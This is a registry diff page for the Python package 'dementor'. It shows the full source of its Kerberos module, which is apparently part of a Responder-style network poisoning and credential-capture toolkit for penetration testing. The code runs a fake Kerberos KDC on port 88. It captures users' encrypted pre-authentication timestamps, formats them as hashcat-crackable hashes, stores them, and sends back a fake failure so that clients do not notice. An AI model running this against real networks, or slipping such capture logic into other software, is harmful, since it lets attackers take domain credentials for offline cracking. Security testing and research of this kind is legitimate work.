dementor 1.0.0.dev0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dementor/__init__.py +22 -0
- dementor/__main__.py +3 -0
- dementor/config.py +233 -0
- dementor/database.py +238 -0
- dementor/filters.py +153 -0
- dementor/loader.py +90 -0
- dementor/logger.py +224 -0
- dementor/paths.py +26 -0
- dementor/protocols/__init__.py +19 -0
- dementor/protocols/ftp.py +104 -0
- dementor/protocols/kerberos.py +304 -0
- dementor/protocols/ldap.py +419 -0
- dementor/protocols/llmnr.py +143 -0
- dementor/protocols/mdns.py +195 -0
- dementor/protocols/netbios.py +243 -0
- dementor/protocols/ntlm.py +200 -0
- dementor/protocols/quic.py +205 -0
- dementor/protocols/smb.py +542 -0
- dementor/protocols/smtp.py +383 -0
- dementor/protocols/spnego.py +35 -0
- dementor/servers.py +185 -0
- dementor/standalone.py +371 -0
- dementor-1.0.0.dev0.dist-info/METADATA +89 -0
- dementor-1.0.0.dev0.dist-info/RECORD +28 -0
- dementor-1.0.0.dev0.dist-info/WHEEL +5 -0
- dementor-1.0.0.dev0.dist-info/entry_points.txt +2 -0
- dementor-1.0.0.dev0.dist-info/licenses/LICENSE +21 -0
- dementor-1.0.0.dev0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,304 @@
|
|
|
1
|
+
# Copyright (c) 2025-Present MatrixEditor
|
|
2
|
+
#
|
|
3
|
+
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
4
|
+
# of this software and associated documentation files (the "Software"), to deal
|
|
5
|
+
# in the Software without restriction, including without limitation the rights
|
|
6
|
+
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
7
|
+
# copies of the Software, and to permit persons to whom the Software is
|
|
8
|
+
# furnished to do so, subject to the following conditions:
|
|
9
|
+
#
|
|
10
|
+
# The above copyright notice and this permission notice shall be included in all
|
|
11
|
+
# copies or substantial portions of the Software.
|
|
12
|
+
#
|
|
13
|
+
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
14
|
+
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
15
|
+
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
16
|
+
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
17
|
+
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
18
|
+
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
19
|
+
# SOFTWARE.
|
|
20
|
+
import struct
|
|
21
|
+
|
|
22
|
+
from datetime import datetime, UTC
|
|
23
|
+
from typing import List
|
|
24
|
+
|
|
25
|
+
from impacket.krb5.asn1 import (
|
|
26
|
+
AS_REQ,
|
|
27
|
+
ETYPE_INFO2,
|
|
28
|
+
KRB_ERROR,
|
|
29
|
+
METHOD_DATA,
|
|
30
|
+
PA_DATA,
|
|
31
|
+
ETYPE_INFO2_ENTRY,
|
|
32
|
+
EncryptedData,
|
|
33
|
+
)
|
|
34
|
+
from impacket.krb5.constants import (
|
|
35
|
+
ApplicationTagNumbers,
|
|
36
|
+
ErrorCodes,
|
|
37
|
+
PrincipalNameType,
|
|
38
|
+
PreAuthenticationDataTypes,
|
|
39
|
+
EncryptionTypes,
|
|
40
|
+
)
|
|
41
|
+
from impacket.krb5.types import KerberosTime
|
|
42
|
+
from pyasn1.codec.der import decoder, encoder
|
|
43
|
+
|
|
44
|
+
from dementor.config import TomlConfig, get_value, Attribute as A
|
|
45
|
+
from dementor.servers import (
|
|
46
|
+
ThreadingTCPServer,
|
|
47
|
+
ThreadingUDPServer,
|
|
48
|
+
BaseProtoHandler,
|
|
49
|
+
ServerThread,
|
|
50
|
+
)
|
|
51
|
+
from dementor.logger import ProtocolLogger
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
class KerberosConfig(TomlConfig):
|
|
55
|
+
_section_ = "Kerberos"
|
|
56
|
+
_fields_ = [
|
|
57
|
+
A("krb5_salt", "Salt", ""),
|
|
58
|
+
A("krb5_etype", "EncType", EncryptionTypes.rc4_hmac),
|
|
59
|
+
A("krb5_error_code", "ErrorCode", ErrorCodes.KDC_ERR_C_PRINCIPAL_UNKNOWN),
|
|
60
|
+
]
|
|
61
|
+
|
|
62
|
+
def set_krb5_salt(self, value):
|
|
63
|
+
if isinstance(value, bytes):
|
|
64
|
+
self.krb5_salt = value
|
|
65
|
+
else:
|
|
66
|
+
self.krb5_salt = str(value).encode("utf-8", errors="replace")
|
|
67
|
+
|
|
68
|
+
def set_krb5_etype(self, value):
|
|
69
|
+
match value:
|
|
70
|
+
case int():
|
|
71
|
+
self.krb5_etype = value
|
|
72
|
+
case EncryptionTypes():
|
|
73
|
+
self.krb5_etype = value.value
|
|
74
|
+
case _:
|
|
75
|
+
self.krb5_etype = EncryptionTypes[value].value
|
|
76
|
+
|
|
77
|
+
def set_krb5_error_code(self, value):
|
|
78
|
+
match value:
|
|
79
|
+
case int():
|
|
80
|
+
self.krb5_error_code = value
|
|
81
|
+
case ErrorCodes():
|
|
82
|
+
self.krb5_error_code = value.value
|
|
83
|
+
case _:
|
|
84
|
+
self.krb5_error_code = ErrorCodes[value].value
|
|
85
|
+
|
|
86
|
+
|
|
87
|
+
def apply_config(session):
|
|
88
|
+
session.krb5_config = KerberosConfig(get_value("Kerberos", key=None, default={}))
|
|
89
|
+
|
|
90
|
+
|
|
91
|
+
def create_server_threads(session) -> list:
|
|
92
|
+
return (
|
|
93
|
+
[
|
|
94
|
+
ServerThread(session, KDCUDP),
|
|
95
|
+
ServerThread(session, KDCTCP),
|
|
96
|
+
]
|
|
97
|
+
if session.kdc_enabled
|
|
98
|
+
else []
|
|
99
|
+
)
|
|
100
|
+
|
|
101
|
+
|
|
102
|
+
def KRB5_Err(
|
|
103
|
+
error_code: int,
|
|
104
|
+
realm: str | None = None,
|
|
105
|
+
sname: List[str] | None = None,
|
|
106
|
+
sname_type: int | None = None,
|
|
107
|
+
etype: int | None = None,
|
|
108
|
+
salt: bytes | None = None,
|
|
109
|
+
) -> KRB_ERROR:
|
|
110
|
+
krb_error = KRB_ERROR()
|
|
111
|
+
# message props
|
|
112
|
+
krb_error["pvno"] = 5
|
|
113
|
+
krb_error["msg-type"] = ApplicationTagNumbers.KRB_ERROR.value
|
|
114
|
+
|
|
115
|
+
krb_error["error-code"] = error_code
|
|
116
|
+
krb_error["stime"] = KerberosTime.to_asn1(datetime.now(UTC))
|
|
117
|
+
krb_error["susec"] = 0
|
|
118
|
+
if realm is not None:
|
|
119
|
+
krb_error["realm"] = realm
|
|
120
|
+
|
|
121
|
+
# Principal is set to krbtgt
|
|
122
|
+
sname_type = sname_type or PrincipalNameType.NT_PRINCIPAL.value
|
|
123
|
+
krb_error["sname"]["name-type"] = sname_type
|
|
124
|
+
for sname_entry in sname or []:
|
|
125
|
+
krb_error["sname"]["name-string"].append(sname_entry)
|
|
126
|
+
|
|
127
|
+
if etype is not None and salt is not None:
|
|
128
|
+
methods = METHOD_DATA()
|
|
129
|
+
|
|
130
|
+
padata_entry = ETYPE_INFO2_ENTRY()
|
|
131
|
+
padata_entry["etype"] = etype
|
|
132
|
+
padata_entry["salt"] = salt
|
|
133
|
+
|
|
134
|
+
etype_info2 = ETYPE_INFO2()
|
|
135
|
+
etype_info2.append(padata_entry)
|
|
136
|
+
|
|
137
|
+
padata = PA_DATA()
|
|
138
|
+
padata["padata-type"] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
|
|
139
|
+
padata["padata-value"] = encoder.encode(etype_info2)
|
|
140
|
+
|
|
141
|
+
methods.append(padata)
|
|
142
|
+
krb_error["e-data"] = encoder.encode(methods)
|
|
143
|
+
|
|
144
|
+
return krb_error
|
|
145
|
+
|
|
146
|
+
|
|
147
|
+
def KRB5_ASREQ_to_hashcat_format(
|
|
148
|
+
etype: int,
|
|
149
|
+
username: str | bytes,
|
|
150
|
+
realm: str | bytes,
|
|
151
|
+
enc_timestamp: bytes,
|
|
152
|
+
salt: bytes,
|
|
153
|
+
) -> tuple:
|
|
154
|
+
if isinstance(username, bytes):
|
|
155
|
+
username = username.decode("utf-8", errors="replace")
|
|
156
|
+
|
|
157
|
+
if isinstance(realm, bytes):
|
|
158
|
+
realm = realm.decode("utf-8", errors="replace")
|
|
159
|
+
|
|
160
|
+
entries = [
|
|
161
|
+
"$krb5pa",
|
|
162
|
+
str(etype),
|
|
163
|
+
str(username),
|
|
164
|
+
str(realm),
|
|
165
|
+
]
|
|
166
|
+
|
|
167
|
+
ts = enc_timestamp
|
|
168
|
+
match etype:
|
|
169
|
+
case EncryptionTypes.rc4_hmac.value:
|
|
170
|
+
# Format is: $krb5pa$<etype>$<username>$<realm>$<salt>$<enc_timestamp>
|
|
171
|
+
entries.append(salt.hex())
|
|
172
|
+
ts = enc_timestamp[16:] + enc_timestamp[:16]
|
|
173
|
+
name = "Krb5pa-RC4"
|
|
174
|
+
|
|
175
|
+
case EncryptionTypes.aes128_cts_hmac_sha1_96.value:
|
|
176
|
+
name = "Krb5pa-AES128"
|
|
177
|
+
|
|
178
|
+
case EncryptionTypes.aes256_cts_hmac_sha1_96.value:
|
|
179
|
+
name = "Krb5pa-AES256"
|
|
180
|
+
|
|
181
|
+
case _:
|
|
182
|
+
# REVISIT: maybe use name from enum
|
|
183
|
+
name = "Krb5pa-Unknown"
|
|
184
|
+
|
|
185
|
+
entries.append(ts.hex())
|
|
186
|
+
return name, "$".join(entries)
|
|
187
|
+
|
|
188
|
+
|
|
189
|
+
class KDCHandler(BaseProtoHandler):
|
|
190
|
+
def proto_logger(self) -> ProtocolLogger:
|
|
191
|
+
return ProtocolLogger(
|
|
192
|
+
extra={
|
|
193
|
+
"protocol": "Kerberos",
|
|
194
|
+
"protocol_color": "dark_magenta",
|
|
195
|
+
"host": self.client_host,
|
|
196
|
+
"port": self.server.server_address[1],
|
|
197
|
+
}
|
|
198
|
+
)
|
|
199
|
+
|
|
200
|
+
def handle_data(self, data, transport) -> None:
|
|
201
|
+
if data is None:
|
|
202
|
+
# TCP data must be received first
|
|
203
|
+
data = transport.recv(2048)
|
|
204
|
+
|
|
205
|
+
if len(data) < 4:
|
|
206
|
+
# erroneous packet
|
|
207
|
+
return
|
|
208
|
+
|
|
209
|
+
data_len = struct.unpack(">I", data[:4])[0]
|
|
210
|
+
if data_len > len(data) - 4:
|
|
211
|
+
# packet length is invalid
|
|
212
|
+
return
|
|
213
|
+
|
|
214
|
+
# AS_REQ
|
|
215
|
+
# Kerberos authentication service request message (KRB_AS_REQ) ([RFC4120] section 5.4.1): The client
|
|
216
|
+
# sends a request to the KDC for a ticket-granting ticket (TGT) ([RFC4120] section 5.3). The client
|
|
217
|
+
# presents its principal name and can present pre-authentication information.
|
|
218
|
+
as_req, *_ = decoder.decode(data[4:], asn1Spec=AS_REQ())
|
|
219
|
+
|
|
220
|
+
salt = self.config.krb5_config.krb5_salt
|
|
221
|
+
if not salt:
|
|
222
|
+
cname = str(as_req["req-body"]["cname"]["name-string"][0])
|
|
223
|
+
realm = str(as_req["req-body"]["realm"])
|
|
224
|
+
# By default, the salt is always
|
|
225
|
+
if cname.endswith("$"):
|
|
226
|
+
# For computers: uppercase FQDN + hardcoded host text + lowercase FQDN
|
|
227
|
+
# hostname without the trailing $
|
|
228
|
+
salt = realm.upper() + "host" + cname[:-1].lower() + realm.lower()
|
|
229
|
+
else:
|
|
230
|
+
# For users: uppercase FQDN + case sensitive username
|
|
231
|
+
salt = realm.upper() + cname
|
|
232
|
+
|
|
233
|
+
if isinstance(salt, str):
|
|
234
|
+
salt = salt.encode("utf-8", errors="replace")
|
|
235
|
+
|
|
236
|
+
# Pre-Auth data must be present to record the hash
|
|
237
|
+
error_code = ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value
|
|
238
|
+
if as_req["padata"] is not None:
|
|
239
|
+
for pa_data in as_req["padata"]:
|
|
240
|
+
if (
|
|
241
|
+
# [RFC4120] section 5.2.7.2 Encrypted Timestamp Pre-authentication:
|
|
242
|
+
# "The ciphertext (padata-value) consists of the PA-ENC-TS-ENC encoding, encrypted
|
|
243
|
+
# using the client's secret key and a key usage value of 1."
|
|
244
|
+
pa_data["padata-type"]
|
|
245
|
+
== PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value
|
|
246
|
+
):
|
|
247
|
+
encrypted_data, *_ = decoder.decode(
|
|
248
|
+
pa_data["padata-value"], asn1Spec=EncryptedData()
|
|
249
|
+
)
|
|
250
|
+
|
|
251
|
+
# the AS-REQ body contains the user's principal name
|
|
252
|
+
req_body = as_req["req-body"]
|
|
253
|
+
user_name = str(req_body["cname"]["name-string"][0])
|
|
254
|
+
domain = str(req_body["realm"])
|
|
255
|
+
|
|
256
|
+
hashname, hashvalue = KRB5_ASREQ_to_hashcat_format(
|
|
257
|
+
encrypted_data["etype"],
|
|
258
|
+
username=user_name,
|
|
259
|
+
realm=domain,
|
|
260
|
+
enc_timestamp=encrypted_data["cipher"].asOctets(),
|
|
261
|
+
salt=salt,
|
|
262
|
+
)
|
|
263
|
+
|
|
264
|
+
self.config.db.add_auth(
|
|
265
|
+
client=self.client_address,
|
|
266
|
+
credtype=hashname,
|
|
267
|
+
username=user_name,
|
|
268
|
+
domain=domain,
|
|
269
|
+
logger=self.logger,
|
|
270
|
+
password=hashvalue,
|
|
271
|
+
)
|
|
272
|
+
# success, now let the client think its authentication failed
|
|
273
|
+
error_code = self.config.krb5_config.krb5_error_code
|
|
274
|
+
|
|
275
|
+
realm = str(as_req["req-body"]["realm"])
|
|
276
|
+
sname = ["krbtgt", realm]
|
|
277
|
+
if error_code != ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
|
|
278
|
+
krb_error = KRB5_Err(error_code, realm, sname)
|
|
279
|
+
else:
|
|
280
|
+
# make sure we require pre-authentication
|
|
281
|
+
krb_error = KRB5_Err(
|
|
282
|
+
error_code,
|
|
283
|
+
realm=realm,
|
|
284
|
+
sname=sname,
|
|
285
|
+
etype=self.config.krb5_config.krb5_etype,
|
|
286
|
+
salt=salt,
|
|
287
|
+
)
|
|
288
|
+
|
|
289
|
+
# send KRB_ERROR
|
|
290
|
+
data = encoder.encode(krb_error)
|
|
291
|
+
msg_len = struct.pack(">I", len(data))
|
|
292
|
+
transport.send(msg_len + data)
|
|
293
|
+
|
|
294
|
+
|
|
295
|
+
class KDCUDP(ThreadingUDPServer):
|
|
296
|
+
default_handler_class = KDCHandler
|
|
297
|
+
default_port = 88
|
|
298
|
+
service_name = "Kerberos KDC (UDP)"
|
|
299
|
+
|
|
300
|
+
|
|
301
|
+
class KDCTCP(ThreadingTCPServer):
|
|
302
|
+
default_handler_class = KDCHandler
|
|
303
|
+
default_port = 88
|
|
304
|
+
service_name = "Kerberos KDC (TCP)"
|